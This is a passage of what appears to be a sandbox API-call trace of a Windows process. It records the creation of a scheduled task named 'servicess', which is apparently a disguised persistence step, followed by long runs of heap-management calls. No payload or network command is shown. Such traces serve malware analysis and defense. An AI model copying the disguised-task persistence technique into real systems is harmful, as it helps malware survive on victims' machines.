0x1b0000 [0060.916] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x82) returned 0x1e9d30 [0060.917] _vsnwprintf (in: _Buffer=0x11d330, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x11cb98 | out: _Buffer="SUCCESS: The scheduled task \"servicess\" has successfully been created.\n") returned 71 [0060.917] _fileno (_File=0x7feffe22ab0) returned -2 [0060.917] _errno () returned 0x3c4bb0 [0060.917] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0060.917] SetLastError (dwErrCode=0x6) [0060.917] lstrlenW (lpString="SUCCESS: The scheduled task \"servicess\" has successfully been created.\n") returned 71 [0060.917] GetConsoleOutputCP () returned 0x0 [0060.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"servicess\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0060.917] GetConsoleOutputCP () returned 0x0 [0060.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"servicess\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0xff0c1880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"servicess\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 71 [0060.917] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 71 [0060.918] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0060.918] IUnknown:Release (This=0x3c69a0) returned 0x0 [0060.918] TaskScheduler:IUnknown:Release (This=0x3c7e00) returned 0x0 [0060.918] TaskScheduler:IUnknown:Release (This=0x3c7db0) returned 0x0 [0060.918] TaskScheduler:IUnknown:Release (This=0x2bdee0) returned 0x1 [0060.918] lstrlenW (lpString="") returned 0 [0060.918] lstrlenW (lpString="7") returned 1 [0060.918] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="7", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0060.918] GetProcessHeap () returned 0x1b0000 [0060.918] GetProcessHeap () returned 0x1b0000 [0060.918] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc4c0) returned 1 [0060.918] GetProcessHeap () returned 0x1b0000 [0060.918] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc4c0) returned 0x1fc [0060.919] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc4c0 | out: hHeap=0x1b0000) returned 1 [0060.919] GetProcessHeap () returned 0x1b0000 [0060.919] GetProcessHeap () returned 0x1b0000 [0060.919] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5560) returned 1 [0060.919] GetProcessHeap () returned 0x1b0000 [0060.919] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5560) returned 0x4 [0060.919] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5560 | out: hHeap=0x1b0000) returned 1 [0060.919] GetProcessHeap () returned 0x1b0000 [0060.919] GetProcessHeap () returned 0x1b0000 [0060.919] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd690) returned 1 [0060.919] GetProcessHeap () returned 0x1b0000 [0060.919] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cd690) returned 0x16 [0060.919] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd690 | out: hHeap=0x1b0000) returned 1 [0060.919] GetProcessHeap () returned 0x1b0000 [0060.919] GetProcessHeap () returned 0x1b0000 [0060.919] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd670) returned 1 [0060.919] GetProcessHeap () returned 0x1b0000 [0060.919] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cd670) returned 0x18 [0060.919] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd670 | out: hHeap=0x1b0000) returned 1 [0060.919] GetProcessHeap () returned 0x1b0000 [0060.919] GetProcessHeap () returned 0x1b0000 [0060.919] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccee0) returned 1 [0060.919] GetProcessHeap () returned 0x1b0000 [0060.919] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1ccee0) returned 0x20 [0060.920] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccee0 | out: hHeap=0x1b0000) returned 1 [0060.920] GetProcessHeap () returned 0x1b0000 [0060.920] GetProcessHeap () returned 0x1b0000 [0060.920] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc160) returned 1 [0060.920] GetProcessHeap () returned 0x1b0000 [0060.920] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc160) returned 0xa0 [0060.920] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc160 | out: hHeap=0x1b0000) returned 1 [0060.920] GetProcessHeap () returned 0x1b0000 [0060.920] GetProcessHeap () returned 0x1b0000 [0060.920] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbbe0) returned 1 [0060.921] GetProcessHeap () returned 0x1b0000 [0060.921] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cbbe0) returned 0x18 [0060.921] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbbe0 | out: hHeap=0x1b0000) returned 1 [0060.921] GetProcessHeap () returned 0x1b0000 [0060.921] GetProcessHeap () returned 0x1b0000 [0060.921] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccca0) returned 1 [0060.921] GetProcessHeap () returned 0x1b0000 [0060.921] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1ccca0) returned 0x20 [0060.921] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccca0 | out: hHeap=0x1b0000) returned 1 [0060.921] GetProcessHeap () returned 0x1b0000 [0060.921] GetProcessHeap () returned 0x1b0000 [0060.921] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc3c0) returned 1 [0060.921] GetProcessHeap () returned 0x1b0000 [0060.921] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc3c0) returned 0x80 [0060.922] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc3c0 | out: hHeap=0x1b0000) returned 1 [0060.922] GetProcessHeap () returned 0x1b0000 [0060.922] GetProcessHeap () returned 0x1b0000 [0060.922] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd6b0) returned 1 [0060.922] GetProcessHeap () returned 0x1b0000 [0060.922] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cd6b0) returned 0x18 [0060.922] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd6b0 | out: hHeap=0x1b0000) returned 1 [0060.922] GetProcessHeap () returned 0x1b0000 [0060.922] GetProcessHeap () returned 0x1b0000 [0060.922] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccc70) returned 1 [0060.922] GetProcessHeap () returned 0x1b0000 [0060.922] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1ccc70) returned 0x20 [0060.923] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccc70 | out: hHeap=0x1b0000) returned 1 [0060.923] GetProcessHeap () returned 0x1b0000 [0060.923] GetProcessHeap () returned 0x1b0000 [0060.923] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cde20) returned 1 [0060.923] GetProcessHeap () returned 0x1b0000 [0060.923] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cde20) returned 0x82 [0060.923] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cde20 | out: hHeap=0x1b0000) returned 1 [0060.923] GetProcessHeap () returned 0x1b0000 [0060.923] GetProcessHeap () returned 0x1b0000 [0060.923] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd650) returned 1 [0060.923] GetProcessHeap () returned 0x1b0000 [0060.923] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cd650) returned 0x18 [0060.923] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd650 | out: hHeap=0x1b0000) returned 1 [0060.923] GetProcessHeap () returned 0x1b0000 [0060.923] GetProcessHeap () returned 0x1b0000 [0060.923] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccc40) returned 1 [0060.923] GetProcessHeap () returned 0x1b0000 [0060.924] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1ccc40) returned 0x20 [0060.924] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccc40 | out: hHeap=0x1b0000) returned 1 [0060.924] GetProcessHeap () returned 0x1b0000 [0060.924] GetProcessHeap () returned 0x1b0000 [0060.924] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc4a0) returned 1 [0060.924] GetProcessHeap () returned 0x1b0000 [0060.924] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc4a0) returned 0xe [0060.924] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc4a0 | out: hHeap=0x1b0000) returned 1 [0060.924] GetProcessHeap () returned 0x1b0000 [0060.924] GetProcessHeap () returned 0x1b0000 [0060.924] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc480) returned 1 [0060.924] GetProcessHeap () returned 0x1b0000 [0060.924] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc480) returned 0x18 [0060.924] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc480 | out: hHeap=0x1b0000) returned 1 [0060.924] GetProcessHeap () returned 0x1b0000 [0060.924] GetProcessHeap () returned 0x1b0000 [0060.924] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5e70) returned 1 [0060.924] GetProcessHeap () returned 0x1b0000 [0060.924] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5e70) returned 0x20 [0060.925] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5e70 | out: hHeap=0x1b0000) returned 1 [0060.925] GetProcessHeap () returned 0x1b0000 [0060.925] GetProcessHeap () returned 0x1b0000 [0060.925] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbd60) returned 1 [0060.925] GetProcessHeap () returned 0x1b0000 [0060.925] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cbd60) returned 0x208 [0060.925] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbd60 | out: hHeap=0x1b0000) returned 1 [0060.925] GetProcessHeap () returned 0x1b0000 [0060.926] GetProcessHeap () returned 0x1b0000 [0060.926] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbbc0) returned 1 [0060.926] GetProcessHeap () returned 0x1b0000 [0060.926] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cbbc0) returned 0x18 [0060.926] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbbc0 | out: hHeap=0x1b0000) returned 1 [0060.926] GetProcessHeap () returned 0x1b0000 [0060.926] GetProcessHeap () returned 0x1b0000 [0060.926] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5d80) returned 1 [0060.926] GetProcessHeap () returned 0x1b0000 [0060.926] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5d80) returned 0x20 [0060.927] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5d80 | out: hHeap=0x1b0000) returned 1 [0060.927] GetProcessHeap () returned 0x1b0000 [0060.927] GetProcessHeap () returned 0x1b0000 [0060.927] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd410) returned 1 [0060.927] GetProcessHeap () returned 0x1b0000 [0060.927] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cd410) returned 0x200 [0060.928] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd410 | out: hHeap=0x1b0000) returned 1 [0060.928] GetProcessHeap () returned 0x1b0000 [0060.928] GetProcessHeap () returned 0x1b0000 [0060.928] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbc00) returned 1 [0060.928] GetProcessHeap () returned 0x1b0000 [0060.928] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cbc00) returned 0x18 [0060.928] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbc00 | out: hHeap=0x1b0000) returned 1 [0060.928] GetProcessHeap () returned 0x1b0000 [0060.928] GetProcessHeap () returned 0x1b0000 [0060.928] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5cf0) returned 1 [0060.928] GetProcessHeap () returned 0x1b0000 [0060.928] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5cf0) returned 0x20 [0060.928] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5cf0 | out: hHeap=0x1b0000) returned 1 [0060.928] GetProcessHeap () returned 0x1b0000 [0060.928] GetProcessHeap () returned 0x1b0000 [0060.928] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc370) returned 1 [0060.928] GetProcessHeap () returned 0x1b0000 [0060.928] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc370) returned 0x14 [0060.929] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc370 | out: hHeap=0x1b0000) returned 1 [0060.929] GetProcessHeap () returned 0x1b0000 [0060.929] GetProcessHeap () returned 0x1b0000 [0060.929] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc350) returned 1 [0060.929] GetProcessHeap () returned 0x1b0000 [0060.929] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc350) returned 0x18 [0060.929] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc350 | out: hHeap=0x1b0000) returned 1 [0060.929] GetProcessHeap () returned 0x1b0000 [0060.929] GetProcessHeap () returned 0x1b0000 [0060.929] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5c30) returned 1 [0060.929] GetProcessHeap () returned 0x1b0000 [0060.929] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5c30) returned 0x20 [0060.929] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5c30 | out: hHeap=0x1b0000) returned 1 [0060.929] GetProcessHeap () returned 0x1b0000 [0060.929] GetProcessHeap () returned 0x1b0000 [0060.929] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc390) returned 1 [0060.929] GetProcessHeap () returned 0x1b0000 [0060.929] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc390) returned 0x16 [0060.929] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc390 | out: hHeap=0x1b0000) returned 1 [0060.930] GetProcessHeap () returned 0x1b0000 [0060.930] GetProcessHeap () returned 0x1b0000 [0060.930] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc210) returned 1 [0060.930] GetProcessHeap () returned 0x1b0000 [0060.930] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc210) returned 0x18 [0060.930] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc210 | out: hHeap=0x1b0000) returned 1 [0060.930] GetProcessHeap () returned 0x1b0000 [0060.930] GetProcessHeap () returned 0x1b0000 [0060.930] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5c00) returned 1 [0060.930] GetProcessHeap () returned 0x1b0000 [0060.930] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5c00) returned 0x20 [0060.930] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5c00 | out: hHeap=0x1b0000) returned 1 [0060.930] GetProcessHeap () returned 0x1b0000 [0060.930] GetProcessHeap () returned 0x1b0000 [0060.930] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbb40) returned 1 [0060.930] GetProcessHeap () returned 0x1b0000 [0060.930] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cbb40) returned 0x2 [0060.930] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbb40 | out: hHeap=0x1b0000) returned 1 [0060.930] GetProcessHeap () returned 0x1b0000 [0060.931] GetProcessHeap () returned 0x1b0000 [0060.931] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5a50) returned 1 [0060.931] GetProcessHeap () returned 0x1b0000 [0060.931] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5a50) returned 0x20 [0060.931] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5a50 | out: hHeap=0x1b0000) returned 1 [0060.931] GetProcessHeap () returned 0x1b0000 [0060.931] GetProcessHeap () returned 0x1b0000 [0060.931] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5a80) returned 1 [0060.931] GetProcessHeap () returned 0x1b0000 [0060.931] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5a80) returned 0x20 [0060.932] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5a80 | out: hHeap=0x1b0000) returned 1 [0060.932] GetProcessHeap () returned 0x1b0000 [0060.932] GetProcessHeap () returned 0x1b0000 [0060.932] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5ab0) returned 1 [0060.932] GetProcessHeap () returned 0x1b0000 [0060.932] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5ab0) returned 0x20 [0060.932] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5ab0 | out: hHeap=0x1b0000) returned 1 [0060.932] GetProcessHeap () returned 0x1b0000 [0060.932] GetProcessHeap () returned 0x1b0000 [0060.932] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5ae0) returned 1 [0060.932] GetProcessHeap () returned 0x1b0000 [0060.932] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5ae0) returned 0x20 [0060.933] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5ae0 | out: hHeap=0x1b0000) returned 1 [0060.933] GetProcessHeap () returned 0x1b0000 [0060.933] GetProcessHeap () returned 0x1b0000 [0060.933] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cccd0) returned 1 [0060.933] GetProcessHeap () returned 0x1b0000 [0060.933] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cccd0) returned 0x20 [0060.933] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cccd0 | out: hHeap=0x1b0000) returned 1 [0060.933] GetProcessHeap () returned 0x1b0000 [0060.933] GetProcessHeap () returned 0x1b0000 [0060.933] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd7b0) returned 1 [0060.933] GetProcessHeap () returned 0x1b0000 [0060.933] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cd7b0) returned 0xe [0060.933] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd7b0 | out: hHeap=0x1b0000) returned 1 [0060.933] GetProcessHeap () returned 0x1b0000 [0060.933] GetProcessHeap () returned 0x1b0000 [0060.933] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccd00) returned 1 [0060.933] GetProcessHeap () returned 0x1b0000 [0060.933] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1ccd00) returned 0x20 [0060.934] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccd00 | out: hHeap=0x1b0000) returned 1 [0060.934] GetProcessHeap () returned 0x1b0000 [0060.934] GetProcessHeap () returned 0x1b0000 [0060.934] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c7be0) returned 1 [0060.934] GetProcessHeap () returned 0x1b0000 [0060.934] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c7be0) returned 0x30 [0060.934] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c7be0 | out: hHeap=0x1b0000) returned 1 [0060.934] GetProcessHeap () returned 0x1b0000 [0060.934] GetProcessHeap () returned 0x1b0000 [0060.934] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccd30) returned 1 [0060.934] GetProcessHeap () returned 0x1b0000 [0060.934] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1ccd30) returned 0x20 [0060.935] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccd30 | out: hHeap=0x1b0000) returned 1 [0060.935] GetProcessHeap () returned 0x1b0000 [0060.935] GetProcessHeap () returned 0x1b0000 [0060.935] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c7c20) returned 1 [0060.935] GetProcessHeap () returned 0x1b0000 [0060.935] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c7c20) returned 0x30 [0060.935] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c7c20 | out: hHeap=0x1b0000) returned 1 [0060.935] GetProcessHeap () returned 0x1b0000 [0060.935] GetProcessHeap () returned 0x1b0000 [0060.936] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cceb0) returned 1 [0060.936] GetProcessHeap () returned 0x1b0000 [0060.936] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cceb0) returned 0x20 [0060.936] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cceb0 | out: hHeap=0x1b0000) returned 1 [0060.936] GetProcessHeap () returned 0x1b0000 [0060.936] GetProcessHeap () returned 0x1b0000 [0060.936] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd6d0) returned 1 [0060.936] GetProcessHeap () returned 0x1b0000 [0060.936] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cd6d0) returned 0xe [0060.936] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd6d0 | out: hHeap=0x1b0000) returned 1 [0060.936] GetProcessHeap () returned 0x1b0000 [0060.936] GetProcessHeap () returned 0x1b0000 [0060.936] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cce80) returned 1 [0060.936] GetProcessHeap () returned 0x1b0000 [0060.936] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cce80) returned 0x20 [0060.937] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cce80 | out: hHeap=0x1b0000) returned 1 [0060.937] GetProcessHeap () returned 0x1b0000 [0060.937] GetProcessHeap () returned 0x1b0000 [0060.937] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd6f0) returned 1 [0060.937] GetProcessHeap () returned 0x1b0000 [0060.937] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cd6f0) returned 0x16 [0060.937] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd6f0 | out: hHeap=0x1b0000) returned 1 [0060.937] GetProcessHeap () returned 0x1b0000 [0060.937] GetProcessHeap () returned 0x1b0000 [0060.937] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cce50) returned 1 [0060.937] GetProcessHeap () returned 0x1b0000 [0060.937] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cce50) returned 0x20 [0060.937] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cce50 | out: hHeap=0x1b0000) returned 1 [0060.937] GetProcessHeap () returned 0x1b0000 [0060.937] GetProcessHeap () returned 0x1b0000 [0060.937] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd710) returned 1 [0060.938] GetProcessHeap () returned 0x1b0000 [0060.938] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cd710) returned 0x16 [0060.938] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd710 | out: hHeap=0x1b0000) returned 1 [0060.938] GetProcessHeap () returned 0x1b0000 [0060.938] GetProcessHeap () returned 0x1b0000 [0060.938] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cce20) returned 1 [0060.938] GetProcessHeap () returned 0x1b0000 [0060.938] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cce20) returned 0x20 [0060.938] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cce20 | out: hHeap=0x1b0000) returned 1 [0060.938] GetProcessHeap () returned 0x1b0000 [0060.938] GetProcessHeap () returned 0x1b0000 [0060.938] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1e9d30) returned 1 [0060.938] GetProcessHeap () returned 0x1b0000 [0060.938] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1e9d30) returned 0x82 [0060.939] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1e9d30 | out: hHeap=0x1b0000) returned 1 [0060.939] GetProcessHeap () returned 0x1b0000 [0060.939] GetProcessHeap () returned 0x1b0000 [0060.939] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccdf0) returned 1 [0060.939] GetProcessHeap () returned 0x1b0000 [0060.939] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1ccdf0) returned 0x20 [0060.939] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccdf0 | out: hHeap=0x1b0000) returned 1 [0060.939] GetProcessHeap () returned 0x1b0000 [0060.939] GetProcessHeap () returned 0x1b0000 [0060.939] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd750) returned 1 [0060.939] GetProcessHeap () returned 0x1b0000 [0060.939] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cd750) returned 0xe [0060.939] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd750 | out: hHeap=0x1b0000) returned 1 [0060.940] GetProcessHeap () returned 0x1b0000 [0060.940] GetProcessHeap () returned 0x1b0000 [0060.940] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccdc0) returned 1 [0060.940] GetProcessHeap () returned 0x1b0000 [0060.940] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1ccdc0) returned 0x20 [0060.940] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccdc0 | out: hHeap=0x1b0000) returned 1 [0060.940] GetProcessHeap () returned 0x1b0000 [0060.940] GetProcessHeap () returned 0x1b0000 [0060.940] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd770) returned 1 [0060.940] GetProcessHeap () returned 0x1b0000 [0060.940] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cd770) returned 0xa [0060.940] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd770 | out: hHeap=0x1b0000) returned 1 [0060.940] GetProcessHeap () returned 0x1b0000 [0060.940] GetProcessHeap () returned 0x1b0000 [0060.940] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccd90) returned 1 [0060.940] GetProcessHeap () returned 0x1b0000 [0060.940] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1ccd90) returned 0x20 [0060.941] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccd90 | out: hHeap=0x1b0000) returned 1 [0060.941] GetProcessHeap () returned 0x1b0000 [0060.941] GetProcessHeap () returned 0x1b0000 [0060.941] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, 